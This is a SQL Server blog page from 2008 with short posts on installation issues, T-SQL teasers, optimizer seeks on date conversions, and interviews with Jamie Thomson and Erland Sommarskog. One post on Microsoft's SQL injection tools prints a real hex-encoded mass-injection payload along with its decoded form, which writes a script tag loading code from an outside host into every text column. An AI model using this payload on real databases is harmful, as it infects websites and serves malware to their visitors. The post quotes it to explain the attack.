THE SQL Server Blog Spot on the Web

Welcome to SQLblog.com - The SQL Server blog spot on the web Sign in | |
in Search

Denis Gobo

  • SQL Server 2008 cannot be installed if you have Visual Studio 2008 RTM installed

    Visual Studio 2008 does not support having both Visual Studio 2008 without a service pack and Visual Studio 2008 with SP1 installed on the same computer. Because certain SQL Server 2008 features install components that are also part of the release version of Visual Studio 2008 SP1, SQL Server 2008 requires Visual Studio 2008 with SP1. If Visual Studio 2008 without a service pack is installed instead, it may not work correctly after you install SQL Server 2008.

    More about this in this knowledgebase article: http://support.microsoft.com/kb/956139

    There is also an item on connect submitted by Steve Kass: http://connect.microsoft.com/SQLServer/feedback/ViewFeedback.aspx?FeedbackID=360930

    So I guess I have to wait till August 11th when VS 2008 goes RTM to install it. I don’t want to install VS 2008 SP1 Beta so close before RTM.

    Update! 

    The KB article mentioned the following: For example, do not select the Analysis Services, Integration Services, or Business Intelligence Development Studio features.

    Well I did that and I get the same validation error  :-(

     

    Image and video hosting by TinyPic

  • SQL Teaser: Where Clause Gone Wild

    Try to guess what this WHERE clause is supposed to do.

     

    WHERE

    r.ApptId IS NULL

    AND r.DATE >= ISNULL(NULL , '1/1/1900')

    AND r.DATE < DATEADD(d , 1 , ISNULL(NULL , '1/1/3000'))

    AND

    --Filter on resource

    ( ( NULL IS NOT NULL

    AND r.DoctorResourceID IN ( NULL ) )

    OR ( NULL IS NULL ) )

    AND --Filter on facility

    ( ( NULL IS NOT NULL

    AND r.FacilityID IN ( NULL ) )

    OR ( NULL IS NULL ) )

    AND --Filter on Inactive

    ISNULL(r.inactive , 0) = 0

    ORDER BY

    ISNULL(g.LAST , '') + ISNULL(g.FIRST , '')

     

    If you think I made that up, then you are in for a surprise. This is actually part of a query, I found it here: http://forums.microsoft.com/MSDN/ShowPost.aspx?PostID=3662895&SiteID=1

    This NULL IS NULL and NULL IS NOT NULL stuff is just killing me. I wonder why this person did not get an answer yet.....Enjoy your weekend  :-)

  • Converting Columns To Date From Datetime Does Not Result In A Scan In SQL Server 2008

    I was reading Itzik Ben-Gan's An Introduction to New T-SQL Programmability Features in SQL Server 2008 article yesterday after one of my friends allerted me to the following from that article
    For example, the plan for the following query performs an index seek on the index on the CurrencyRateDate DATETIME column:

    USE AdventureWorks;

    SELECT FromCurrencyCode, ToCurrencyCode, EndOfDayRate

    FROM Sales.CurrencyRate

    WHERE CAST(CurrencyRateDate AS DATE) = '20040701';

    I was surprised by this, as we all know functions/conversions on column names are generaly bad for performance.


    Let's see how this works. First create this table in the tempdb database.

     

    use tempdb

    go

    create table TestDatetimePerf (SomeCol datetime,id int identity)

    go

    This will insert 2048 rows with dates between 2008-01-01 12 AM and 2008-03-26 7 AM

    insert TestDatetimePerf(SomeCol)

    select dateadd(hh,number,'20080101')

    from master..spt_values

    where type ='P'

    go

    create index ix_Date on TestDatetimePerf(SomeCol)

    go

     

    Turn on the execution plan

    set showplan_text on

    go

     

    Execute the following query

    select *

    from TestDatetimePerf

    where convert(varchar(30),SomeCol,112) = '20080103'

    |--Table Scan(OBJECT:([tempdb].[dbo].[TestDatetimePerf]),

    --WHERE:(CONVERT(varchar(30),[tempdb].[dbo].[TestDatetimePerf].[SomeCol],112)=[@1]))

    As you can see that results in a scan.

     

    What happens when you convert to date?

    select *

    from TestDatetimePerf

    where convert(date,SomeCol) = '20080103'

    |--Nested Loops(Inner Join, OUTER REFERENCES:([Bmk1000]))

    |--Nested Loops(Inner Join, OUTER REFERENCES:([Expr1007], [Expr1008], [Expr1006]))

    | |--Compute Scalar(DEFINE:(([Expr1007],[Expr1008],[Expr1006])=GetRangeThroughConvert('2008-01-03','2008-01-03',(62))))

    | | |--Constant Scan

    | |--Index Seek(OBJECT:([tempdb].[dbo].[TestDatetimePerf].[ix_Date]),

    --SEEK:([tempdb].[dbo].[TestDatetimePerf].[SomeCol] > [Expr1007]

    --AND [tempdb].[dbo].[TestDatetimePerf].[SomeCol] < [Expr1008]),

    --WHERE:(CONVERT(date,[tempdb].[dbo].[TestDatetimePerf].[SomeCol],0)='2008-01-03') ORDERED FORWARD)

    |--RID Lookup(OBJECT:([tempdb].[dbo].[TestDatetimePerf]), SEEK:([Bmk1000]=[Bmk1000]) LOOKUP ORDERED FORWARD)

     

    See that? You get a seek instead, very interesting. It would be nice that when you use convert with the style optional parameter that the optimizer would be smart enough to convert that also to a seek.

  • SQL Server 2008 geography data type screencasts on Channel 9

    Channel 9 has two screencast that deal with the new geography data type in SQL Server 2008.

    Saving Virtual Earth Polygons to SQL Server 2008

    Marc Schweigert shows you how to draw a polygon on a Virtual Earth map and save it using ASP.NET AJAX, Windows Communication Foundation (WCF), LINQ to SQL, and the new geography data type in SQL Server 2008.

    Rendering Polygons from SQL Server 2008 on Virtual Earth

    Marc Schweigert builds off of the concepts shown in his previous screencast and shows you how to render a polygon on a Virtual Earth map using REST, Windows Communication Foundation (WCF), LINQ to SQL, and the new geography data type in SQL Server 2008.

    Enjoy the shows

     

  • If you are upgrading from SQL Server 2000 to 2008 and you never touched SQL Server 2005, then I feel sorry for you

    “I sense you skipped SQL Server 2005 in you...  Skipping SQL Server 2005 leads to a bigger learning curve...  A bigger learning curve leads to not knowing the product as well...Not knowing the product as well leads to suffering..Running in compatibility mode 8.0 is the path to the darkside.. SQL Server 2008 (mode 10.0) is the force...May the force be with you" --

     

     

     

    So you decided to skip SQL Server 2005 and go straight to SQL Server 2008. You have some learning to do, let’s put this into perspective. SQL Server 2005 was so massive compared to SQL Server 2000 that it is almost like climbing Mount Everest. Going from SQL Server 2000 to SQL Server 2008 is like climbing Mount Everest but you start at the bottom of the Mariana Trench.

    2000 -> 2005 = Climb Mount Everest (8,848m/29,028ft).

    2000 -> 2008 = Climb Mount Everest from the bottom of the Mariana Trench (19,748 metres, 64,788 ft) .

     

    Not only do you have to deal with a complete rewrite of DTS and SSAS but SQL Server 2008 compared to SQL Server 2000 has so many enhancements to T-SQL that it is not funny. You will also have to deal with deprecated and dropped features for example *= and =* joins.

     

    But it is not all bad; here are a couple of good things to consider (IMO).

    If your developers know C# better than VB then they might pickup SSIS easier since in SQL Server 2008 SSIS supports C#.

    If you work with spatial data then you have waited for a good reason.

    Several new datatypes in 2008 which could make you app perform better (date instead of datetime, saves 5 bytes per row), Compression etc etc

    There is a lot more of course, the merge statement is back, it was available in beta 2 of SQL Server 2005 but then got yanked.

     

    I am just wondering how many of you are going straight from SQL Server 2000 to SQL Server 2008 without having any exposure to SQL Server 2005 at all? For some boxes I am going from SQL Server 2000 to SQL Server 2008 but we already also have SQL Server 2005 boxes running. The most challenging part for me was going from DTS to SSIS.

     

     

    Now let's come back to that silly "I sense...." part at the beginning. A couple of year ago this was my sig

    ------------------------------------------------------------------------------------------

    “I sense many useless updates in you... Useless updates lead to fragmentation...  Fragmentation leads to downtime...Downtime leads to suffering..Fragmentation is the path to the darkside.. DBCC INDEXDEFRAG and DBCC DBREINDEX are the force...May the force be with you" --

     

    I changed the sig because of this guy's answer here: http://p2p.wrox.com/topic.asp?TOPIC_ID=39079

     

     

    " I sense lack of friends in you"  if you think that was a funny statement think again.  Not all programmers created the mess they are in.  In most cases it's a matter of cleaning up the mess of others before them.  If you don't have anything positive to add then keep your comments to yourself.  If you would have read my post thoroughly you would have seen that your recommendation was pretty much useless.

     

    "May you drop of the earth"—

     

     

     

    What can you say to that? BTW this is not the only time; another person asked me how I knew his tables were fragmented.

     

    Anyway enjoy the upgrade to SQL Server 2008, you won't be bored.  :-)

  • Interview With SSIS Guru Jamie Thomson

    I asked for some names of people who you would like to see interviewed here at Sqlblog and Jamie Thomson's name popped up a couple of times. I contacted Jamie and he was kind enough to take time out from his busy schedule to answer these questions.  So, here are the questions.

     

    How excited are you about SQL Server Data Services (SSDS)?

    I’d say that “intrigued” is more the right word as opposed to “excited”. I’ve got more than a passing interest in machinations in the internet space as well as my obvious interest in SQL Server so SSDS marries those two things up rather well. Frankly, everything that travels on the internet is data in one shape or another so I believe that the skills and experience that we as data professionals apply today in hosted database applications will serve us well when data is stored in the cloud. I don’t know when cloud storage usage will hit that upward inflexion point; five, fifteen, fifty years, who knows?; but I am convinced that it will happen eventually.

     

    What are the most important things a person can do to master SQL Server?

     Oh that’s easy to answer, although a bit corny. Just flip open your laptop and start using it. I’m a great believer that training courses and books can only take you so far in the pursuit of wisdom, if you want the knowledge to sink in then you’ve got to get on and put the theory into practise. I’ve been to many training courses and presentations in my life and to be honest a lot of what I hear has left my head before I’ve even got to the exit. SQL Server Express is free so it downloaded and start playing – that’s what I did. I’ll give you an example of what I’m talking about. I realised recently that I wasn’t completely au fait with transaction isolation levels in SQL Server so rather than digging out a book on it I opened my laptop and started hacking away and now I have a set of scripts that illustrate the theory perfectly – its definitely the best way to learn

     

    What are the most important things a person can do to master Transact-SQL?

    As before, just start using it. Books Online is a much-maligned resource but its invaluable to have that wealth of knowledge at your fingertips so if you’re stuck on anything just hit the F1 button and you can usually find the answer after a bit of searching (it takes a while – Books Online’s search abilities aren’t the greatest). We’re also lucky in the SQL Server community that there are so many great online resources where you can ask questions and learn from people with the experience so make sure that you put those resources to good use. I started with SQLServerCentral.com which is a really useful site and the SQL Server forums on MSDN at http://tinyurl.com/5pyqpg  are also invaluable. Not long ago I was speaking to a guy from the SSIS team that had recently joined from IBM and he said that when he joined he was taken aback at the plethora of community engagement that exists around Microsoft products. He’d never experienced anything like that at IBM.

     

    What is the most popular article on your site?

     Another easy one. Its my blog entry entitled Suggested Best Practices and naming conventions that I published in January 2006. I’m really pleased about that too because I’m a huge proponent of employing best practices and consistent ways of working. I accepted a long time ago that there are much smarter guys than me around doing SSIS development so decided that if I could impart knowledge about the best way to accomplish something rather than covering the stuff that is really hard to do then that might be of real value. In a way that blog entry is a culmination of everything that my blog is about. Its always a work in progress as well because I’m constantly updating it; the most recent update was just last week.

     

    What new things in SSIS in SQL server 2008 are you looking forward to?

    The new Lookup component in SSIS 2008 is a vast improvement on the old one in my opinion so I would probably plump for that. Its a painstaking experience to have to recharge a Lookup cache that exists in a ForEach Loop and the new Lookup component goes some way to alleviating that (although not far enough in my opinion). The fact that rows that result in a cache miss are no longer treated as errors is also a big plus.

     

    What would you like to see in the next version of SQL Server (not 2008) in terms of SSIS?

     SSIS doesn’t have a great story around reusability. There is no real notion of “build once, use many times”. We can distribute these monolithic files called packages around, and that’s OK, but it would be great to have finer-grained control than that. I think it would be a huge step forward to be able to take, for example, a data flow and instantiate it in multiple packages. You can do that today by siphoning the dataflow into a dedicated package but that’s not an ideal solution in my book because there is an overhead involved in spinning up extra packages just for single discrete operations. On the same theme there was a feature that was slated for SSIS2008 but eventually got pushed out, that being the ability to take a group of components and instantiate them in different dataflows (aka flowlets) – I hope to see that in the next version.

     

    What SQL Server books are on your bookshelf?

     Compared to some of my peers I probably don’t have that many – I don’t think I’ve ever managed to read a textbook cover-to-cover. I have Kirk Haselden’s “SQL Server integration Services”, Brian Knight et al’s “Professional SQL Server Integration Services” and “Inside SQL Server 2005 : T-SQL Programming” by Itzik Ben Gan but they’re all gathering dust in a box somewhere. As I said before, I prefer to just get the laptop out and start hammering away with Books Online as my trusty sidekick.

     

    Do you think that DT_DBTIMESTAMP was named incorrectly, after all if you need to use timestamp you need DT_BYTES?

     I’d prefer to say that the TIMESTAMP datatype synonymn in SQL Server is a misnomer rather than DT_DBTIMESTAMP being named incorrectly..

     

    What about SSIS do you love the most?

     I think I’m on record as saying that expressions are one of my favourite features of SSIS so I guess I’d have to go with that. Yeah, I can’t imagine developing SSIS packages without expressions to be honest. “Love” is pushing a bit though. Who asked that question? J

    What do you miss from DTS which is not available in SSIS?

    I wasn’t a heavy user of DTS so am not really qualified to answer but I think I speak for the community when I say that the Import/Export wizard in DTS is more user-friendly than the one provided with SSIS.

     

    Why can't you overwrite an Excel file in SSIS/DTS but you can overwrite a text file?

    I have no idea. I didn’t even know that this was the case. JET engine peculiarities perhaps?

     

    Which SSIS component should be used a lot more than it is used now?

     There aren’t really any components that deserve to be used more per se because your choice of component is usually dictated by the requirement that you are trying to fulfil. Having said that I generally warn people off from using the Slowly Changing Dimension wizard in favour of Lookups so for that reason alone I would probably have to say the Lookup component.

    Do you think that the addition of C# in SSIS is good?

     Undoubtedly. Its always good to have options for programming languages.

     

    Name some of your favorite blogs.

    This is hard because according to Google Reader I am subscribed to over 250 feeds. In the SQL space Bob Beauchemin’s blog is a must have as is the UK SQL community feed at http://sqlblogcasts.com/blogs/  and of course SQLBlog at http://sqlblog.com/blogs. You pretty much cover the majority of the best SQL bloggers out there with those feeds. Away from SQL Server I closely follow Dare Obasanjo at http://www.25hoursaday.com/weblog/, you’re always good for a bit of controversy when he writes something. Joe Gregorio (http://bitworking.org/news/) and Sam Ruby (http://intertwingly.net/blog/), even though I don’t know what they’re on about half the time, are also worth keeping an eye on. Oh, and even though I abhor the main guy that writes it, Techcrunch (www.techcrunch.com) is unmissable. I’d like to say Channel 9 was on my recommended list but there seems to be a dearth of SQL Server content on there in my, admittedly biased, opinion.

     

    Where can we see you in the near future? Any seminars, talks, events or books in the pipeline?

    No, none at all. The biggest “speaking engagement” I have coming up is saying “I do” at my impending wedding to my wonderful fiancée Helen so SQL activities are on the backburner for a while.

     

  • Victim Of The Software Development Meme

    Andy Leonard called me out on the Software Development Meme, so here goes:

    How old were you when you first started programming?

    I was 16 and it was on a commodore 128. I still remember the GOSUB keyword :-)

     

    How did you get started in programming?

    I got a commodore for my 16th birthday, at first I was mostly playing games but after a while I wanted to see how all this worked from the inside. I learned about sprites, peeks and pokes and assembly. It was a fun time, I remember staying up till the early morning trying to figure out stuff, back then there was no Google.

     

    What was your first language?

    BASIC what else?

     

    What was the first real program you wrote? 

    An online temp agency web application. This was one of these fubar dot com ideas, somebody threw some money at a company, they came to use and I started to work on this. They didn’t get additional funding and this went nowhere. As a matter of fact the first 3 websites I did never launched because of funding problems.

     

    What languages have you used since you started programming? 

    C, VB, JAVA, C#, T-SQL, ColdFusion, HTML, XML, JavaScript, COBOL, CICS, JCL, SMIL

     

    What was your first professional programming gig?

    This was in Silicon Alley during the dot com boom, we had lizards sleeping on monitors, and people would bring their cats to work. We had meetings on the roof of the building. The shop didn’t open till 10 AM; I had some fun times there.

     

    If you knew then what you know now, would you have started programming?

    Yes, the fun (or curse) of programming is that it changes so rapidly, you will never be bored.

    If there is one thing you learned along the way that you would tell new developers, what would it be? Just when you think you know the product inside out and a new version comes out which takes twice as hard to master and eventually you will have to specialize. Also if you think that you will be done with learning after your first two years then you are mistaken. Once you get promoted you need to learn even more things. Another thing is that when you have a regular job and you go home you most likely won’t do anything related to the job. In programming it is not like that when you go home you have 600 unread  items in you Google blog reader, you have 20 replies in twitter and FriendFeed is going crazy with the latest technews.

    What’s the most fun you’ve ever had … programming? 

    Putting easter eggs in code

     

    Who are you calling out?

    I am calling out the following people I know from forums, blogs or because they are friends

    Alex Cuse

    Denny Cherry

    Jamie Thomson

    Eric E

    Mark Smith

    Paul Nielsen

    Jason Massie



     

     

  • Microsoft Releases Tools To Address SQL Injection Attacks

    Remember the post by Aaron Bertrand titled Call a spade a spade! (SQL injection, or IIS vulnerability?)? Microsoft has released 3 tools that deal with this SQL injection.

    These three tools include HP Scrawlr , UrlScan version 3.0 Beta , and a SQL Source Code Analysis Tool. Microsoft further recommends following the best practices found within advisory 954462.

    Most of the sites affected had this submitted as part of the injection  

    DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415 245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655 F437572736F7220435552534F5220464F522053454C45435420612E6 E616D652C622E6E616D652046524F4D207379736F626A65637473206 12C737973636F6C756D6E73206220574845524520612E69643D622E6 96420414E4420612E78747970653D27752720414E442028622E78747 970653D3939204F5220622E78747970653D3335204F5220622E78747 970653D323331204F5220622E78747970653D31363729204F50454E2 05461626C655F437572736F72204645544348204E4558542046524F4 D205461626C655F437572736F7220494E544F2040542C40432057484 94C4528404046455443485F5354415455533D302920424547494E204 55845432827555044415445205B272B40542B275D20534554205B272 B40432B275D3D525452494D28434F4E5645525428564152434841522 834303030292C5B272B40432B275D29292B27273C736372697074207 372633D687474703A2F2F7777772E63686B626E722E636F6D2F622E6 A733E3C2F7363726970743E27272729204645544348204E455854204 6524F4D205461626C655F437572736F7220494E544F2040542C40432 0454E4420434C4F5345205461626C655F437572736F72204445414C4 C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);

    This is of course done so that you can't see the real SQL and then you can't check for DROP, UPDATE and other DDL and DML commands 

    So what does this look like when you replace %20 with a space and exec with print?

    DECLARE Table_Cursor

    CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b

    WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor

    FETCH NEXT FROM Table_Cursor INTO @T,@C

    WHILE(@@FETCH_STATUS=0)

    BEGIN

    EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://www.chkbnr.com/b.js></script>''')

     FETCH NEXT FROM Table_Cursor INTO @T,@C

    END CLOSE Table_Cursor DEALLOCATE Table_Cursor  

    Somehow I think this could have been written set based  :-)

    The problem is of course that you should never ever run as dbo or even worse sa. 

     

     

  • No New DMVs In RC0 Compared to CTP6

    Remember this post 46 New Dynamic Management Views In SQL Server 2008 CTP6?

    I just checked SQL Server 2008 RC0 and there are no new Dynamic Management Views when compared to CTP6.

    Sorry, can't make up any DMVs :-(

     

    Now, if you could do this

    SELECT CAST('00:15:00' as TIME(0)) + 5

    instead of

    SELECT DATEADD(hh,5,CAST('00:15:00' as TIME(0)))

    Wouldn't that be nice? You can do it with datetime, for example SELECT GETDATE() + 5

  • Microsoft SQL Server 2008 Feature Pack RC0, June 2008 Available For Download

    Microsoft SQL Server 2008 Feature Pack RC0, June 2008 is available for download here:

    http://www.microsoft.com/downloads/details.aspx?familyid=089a9dad-e2df-43e9-9cd8-c06320520b40&displaylang=en&tm

    Sample Databases for Microsoft SQL Server 2008 RC0 are available here:

    http://www.codeplex.com/MSFTDBProdSamples/Release/ProjectReleases.aspx?ReleaseId=14274

  • Poll: How Often Do You Reboot Your SQL Server

    How often do you reboot your SQL Server? In general we don't reboot, the only time I can remember is when the box needs to be patched. So when you do reboot, do you first fail over to the other instance (if you have a cluster) or do you have a hot standby box?

    Leave a comment, I am interested in the frequency of reboots.

  • What Would You Like To Ask Jamie Thomson?

    In the Who do you want to see interviewed next? blog post I asked for some names of people who YOU would like to see interviewed. Jamie Thomson's name was submitted in comments. I contacted Jamie and am happy to anounce that he has agreed to do this.

    Jamie's blog focuses on SSIS so it would make sense to focus on that. Visit http://blogs.conchango.com/jamiethomson/ to get some ideas

     

     

  • Less Than Dot A New Community Site Has Been Launched

    So finally I have something to announce!
     
    Myself and a bunch of friends have been working on Less Than Dot for a while now. The site has a forum, blogs and a wiki. More info why we started Less Than Dot and who we are can be found here: http://www.lessthandot.com/aboutus.php
    Since I am mostly a SQL guy, I wrote a collection of SQL Server hacks. These hacks are basically a collection of frequently asked questions which I and some of the co-founders answer over and over again. This collection of SQL hacks is available on the Wiki, right now we have 8 sections and between 70 and 80 hacks. Ideally we will have more hacks and we will also have a SQL admin hacks page in the future.
     
    SQL Server Hacks Sections
    * 1 NULLS
    * 2 Dates
    * 3 Sorting, Limiting Ranking, Transposing and Pivoting
    * 4 Handy tricks
    * 5 Pitfalls
    * 6 Query Optimization
    * 7 Undocumented but handy
    * 8 Usefull Admin stuff For The Developer
     
    Below are some direct links to a couple hacks, you can also get a list of all the hacks on the wiki itself here: SQL Server Programming Hacks

    Hopefully you will like the site and find some good content, if you have a question then don't hesitate to ask it in a forum (if it is a SQL question then ask here first: http://sqlblog.com/forums/default.aspx)

    And don't worry I will still do my SQL blogging here :-)

  • SQL Teaser uniqueidentifier

    Create this table

    CREATE TABLE #bla (SomeVal uniqueidentifier)
    INSERT #bla VALUES('D903D52D-DBFA-4904-9D95-F265152A391F')



    What do you think this will return?

    SELECT * FROM #bla
    WHERE SomeVal = 'D903D52D-DBFA-4904-9D95-F265152A391F12345678910'
    UNION ALL
    SELECT * FROM #bla
    WHERE SomeVal = 'D903D52D-DBFA-4904-9D95-F265152A391F1'

    Surprised?

    What about this?

    SELECT * FROM #bla
    WHERE SomeVal = CONVERT(uniqueidentifier,'D903D52D-DBFA-4904-9D95-F265152A391F12345678910')
  • Interview With Erland Sommarskog About SQL Server and Transact SQL

    I asked for some names of people who you would like to see interviewed here at Sqlblog and Erland Sommarskog's name popped up a couple of times. I contacted Erland and he was kind enough to take time out from his busy schedule to answer these questions.  So, here are the questions.

    What are the most important things a person can do to master SQL Server?

    That is a very difficult question, because SQL Server is such a vast product.

    What do you aim at? Being an infrastructure DBA that builds clusters and sets up replication, but don't know much about the business? Or do you want to do database design and work closely to the business analysts? Do you want to be a performance specialist? Or be a good SQL programmer? What sort of applications do you want to work with? OLTP? OLAP? Maybe you want to be in the ETL trade and work a lot with Integration Services? Or do you want to be a Reporting Services developer?

    It goes without saying that depending on what you aim at, the exact answer will be different. If you want to be an infrastructure DBA, you need to get a very good understanding of RAIDs, SANs and all that, but for other roles this is of less interest.

    Nevertheless, there are still some commons: whatever you aim at, you need experience. You can read books, you can attend classes and they can help you enter the next level. But it is through hands-on experience you learn. And not at least you learn from your own mistakes.

    In terms of reading, there is one source that I like to highlight as better than many other: follow a public forum in the area you are interested in. You will see questions, and hopefully good answers to the questions. And sometimes you may be able to contribute with an answer yourself. What is great with the newsgroups is that questions reappears. As they say: repetition is the mother of all learning. If you read a book or a blogpost, your memory fades after a while. But if you see the same answer reoccurring, one day not only will you be able to answer the question yourself, but also use it for your own work.

    What are the most important things a person can do to master Transact-SQL?

    Obviously, you need learn think in sets, and resist the temptations to solve problems in loops. This can indeed be a challenge. I have recent years rewritten procedures that originally were designed for one at a time, and in some cases it was quite an undertaking. The reward at the end of the rainbow was vastly increased performance for big volumes.

    You also need to get a very good understanding of indexing, and when an index is useful or not. This is because this has such a big impact on performance.

    But more exactly how do you learn this well? Let me return to what I said above: Experience. When you have query that seems to work, don't stop there. What happens if you change that part of the query? What happens if you add that row that holds some funky data? How does the query plan look like? Does it use an index? If it doesn't, why not?

    When it comes to understanding indexing and query plans, I have a tip: imagine that you had the data on a bunch of record cards, and you needed to traverse it yourself to find the desired data. How would you do this effectively?

    What SQL Server books are on your bookshelf?

    My time to read books is fairly limited. Mainly I read books when I'm travelling, and when I go basking lakeside in summer. So I don't go buying books by the dozen. And least of all SQL Books, I do like reading about other topics too.

    But I have the Inside SQL Server 2005 series, which I definitely recommend for anyone who has some experience of SQL Server and want to raise to a higher level. Itzik's two books learn you some very valuable query techniques, and Kalen's two books give you a deeper look into the internals and query-tuning techniques. (Actually, I'm only on chapter 3 of the last book, but what I've seen this far looks promising.)

    I have a few more titles; of which several hitherto are unread I will have to admit. The SQL Server-related book I return to the most often is the OLE DB Reference Manual, would you believe it.

    Erland, the first time I came across your name was in the Microsoft public SQL Server programming group. Can you explain to us why you participate in newsgroups and forums?

    I started to participate on Usenet groups when I got access to Usenet with my first job in the mid-eighties. In the beginning it was mainly for leisure, including the technical groups I followed. By time I became very active, and a search on Google news will reveal posts in newsgroups about music, linguistics, politics and Usenet itself.

    All the time, I subscribed to technical newsgroups that related to what I was working with. So I subscribed to comp.databases.sybase when I worked with Sybase, and when I moved on to MS SQL Server I went over to comp.databases.ms-sqlserver. The idea was simple: ask a question when I needed help, and if there was a question to which I knew the answer, I answered it. And in between that I learnt things from other people's posts and answers.

    At some point I found that I answered far more questions than I asked, and when I asked a question, I did not always get an answer any more. I also realized that the traffic was a bit low, and one I summer I started to visit microsoft.public.sqlserver.programming to find where the real action was going on.

    These days I only follow SQL Server newsgroups with one exception, rec.games.trivia. And this is definitely the best era in my Usenet career. I help people, and the tone in newsgroups I follow is generally polite. Every once in a while I can feel that I answer the same questions, but it's still rewarding to know that I have been able to help someone. Not only with his urgent problem, but, I hope, he or she has also learnt something for the future. And every once there is a challenging problem from which I can learn myself.

    Why do you have a site, why did you not write a book instead?

    There are a couple of reasons. One is that I originally wrote these articles so that I could refer to them in my posts, rather than having to type the same thing over and over again. I could never dream of answering people by suggesting them to pay money to get the answer.

    Another is that once a book is printed, it's printed. If there is an error, an omission, or I simply make new revelations on the topic, I cannot magically update all copies out there. That is easier to do on a web site.

    Finally, there is a general feeling that a web site is more low key. Since no one pays for anything, I can produce articles in the pace I like, and I can permit myself to keep down the level of ambition a bit.

    Which article was the hardest to write and can you explain why?

    I think the article I have spent the most time on is the one on Arrays and Lists. With the performance appendix, this is by far the longest article, and one problem was that people kept suggesting me new methods all the time. Of which some were very good. (These days, I review all new ideas fairly critically, and it has to be really innovative to make the article. It's already long enough.) Add to this it takes some time to run all those performance tests and evaluate them.

    But I think the most difficult to write was the one on error handling. It's definitely the most difficult to revise for SQL 2005, which is testified by the fact that I haven't started yet. One reason that error handling in SQL Server is so difficult to write about is that it is so inconsistent. TRY-CATCH has made this easier, but to understand the fine details, you still need to learn about statement-aborting errors, batch-aborting errors and all that jazz.

    What is the most popular article on your site?

    That seems to be "The Curse and Blessings of Dynamic SQL".

    What new technologies in SQL Server 2005 do you think are the most beneficial for performance?

    The row_number() function! It may seem like a simple thing, but there are so many problems that can be solved more efficiently with row_number(). Now, if Microsoft  would only implement the missing parts of the OVER() clause!

    Statement recompile is also very important. In SQL 2000, I often faced problems with long stored procedures that were recompiled several times during a single execution. That damage is recuded considerably with statement recompile.

    Snapshot isolation is also a valuable addition, although it's not always the right thing. I recently learnt that as long as snapshot isolation (including read committed snapshot) is enabled, SQL Server adds 14 bytes of overhead to each row. But as snapshot isolation can reduce blocking considerably, it can still be worthwhile for some applications.

    I guess it's inevitable to mention plan guides. This is a feature that I have stayed away from myself, as I feel that it is a truly advanced feature. But as a last resort it is very valuable that it's available.

    What new technologies in SQL Server 2008 do you think are the most beneficial for performance?

    The MERGE statement makes it possible to replace combinations of INSERT WHERE NOT EXISTS and UPDATE with a single statement. A very valuable addition.

    There are various new features to make tables smaller: table/index compression, sparse columns and filtered indexes. They can improve your performance if you use them correctly.

    This is not really my area, but I believe that the fact that full-text is now a first-class SQL Server citizen, will be very beneficial for full-text applications.

    I like to add for both these questions I have made my choices for things that are in my realm. Improved star-schema join is probably a great thing, but as I am not into data warehousing, this is not a feature that I can evaluate.

    Name three things that are new in SQL Server 2005 that you find are the most valuable for developers?

    Two features stand out ahead of everything else: TRY-CATCH and the row_number() function. Error handling that was very complicated and tiresome in SQL 2000 is now significantly easier. And there are so many problems that are a lot easier to solve with help of row_number().

    Beside these two, there were many valuable additions to SQL 2005, and picking just one ahead of the other is difficult. But, OK, today my vote goes to the XML enhancements. (FOR XML, the xml data type, XQuery.)

    Name three things that are new in SQL Server 2008 that you find are the most valuable developers?

    The new date/time data types. A date-only data type in SQL Server is long overdue. And I mean long as in loooooooooooooooooooooong.

    The MERGE statement, that I've already mentioned. Beside the replacement for INSERT+UPDATE+sometimes DELETE, some of my MVP colleagues have found that MERGE has advantages over just a single INSERT or UPDATE statement.

    Table-valued parameters. This new feature will make my article on arrays on lists and in SQL Server far less interesting. It's too bad that TVPs are read-only, but for passing structured data from a client to SQL Server it is a tremendous addition. Just pass a dataset, and that's all.

    What would you like to see in the next version of SQL Server?

    As you may guess, my wishlist to Microsoft exceeds what most kids sends to Santa Claus. But let me select a couple of important ones that all have a common theme: they all enhance the programmability of SQL Server in one way or another.

    To start with, I want Microsoft to implement the OVER clause in full. There are a class of problems like running sums, sliding aggregates etc that are very difficult to implement with set-based logic and good performance today. If you are not acquainted with these functions, I recommend that you read Itzik Ben-Gan's and Sujata Metha's paper

    on http://www.insidetsql.com/OVER_Clause_and_Ordered_Calculations.doc.

    You also find links there to the Connect requests for these features in this document. Go there and vote!

    One of the biggest misfeatures Microsoft added in SQL 7 was deferred name resolution, and we are still paying the price. I have a Connect request about SET STRICT_CHECKS ON, that covers the problem with deferred name resolution, and a lot of things that MS could inform the programmer when he creates the procedure, rather than bombing in production: https://connect.microsoft.com/SQLServer/feedback/ViewFeedback.aspx?FeedbackID=260762

    I plan a longer development on that Connect item, that will appear as http://www.sommarskog.se/strict_checks.html  in the not too distant future.

    SQL 2008 added table-valued parameters, but it was a big disappointment that they are input-only. The situation where I would have most use for table-valued parameters is when passing data between stored procedures -both in and out.

    https://connect.microsoft.com/SQLServer/feedback/ViewFeedback.aspx?FeedbackID=299296

    A long-standing wish that I have is to be able to access the call-stack one way or another. This can help to make logging that I do for debug purposes more accurate. It can also help you to things like "if this trigger is called from this procedure, skip this action".

    https://connect.microsoft.com/SQLServer/feedback/ViewFeedback.aspx?FeedbackID=124537

    Can you list any third party tools that you find useful to have as a SQL Server developer/admin?

    The most important third-party tool to me is AbaPerls, but then I wrote it myself. :-) We use it to build our databases, load our stored procedures and build our update scripts. Unfortunately, I am currently not able to put it in the public domain.

    If you work with a data model of any size, using a good data-modeling tool is a great asset to keep the model documented. I have mainly used PowerDesigner from Sybase, but I guess ERwin and Embrocadero are good too. Unfortunately, these tools tend to be pricy.

    Apart from that... I know there are a lot of interesting third-party tools out there, I some I would really like to try out in practice. But unfortunately time has never permitted me.

    What is the biggest Database in GB/PB that you have ever worked with, how many rows was your biggest table ever?

    Nothing impressive. The biggest customer database for the system I work with is just over 500 GB. The biggest table in that database has 62 million rows.

    Which feature of SQL Server(in any version) do you like most?

    SHUTDOWN WITH NOWAIT!

    Seriously, if I am to mention a feature that I have not mentioned yet, I pick derived tables.

    Why don't you have a blog?

    CREATE TABLE Week (Hour int NOT NULL CHECK (Hour <= 168))

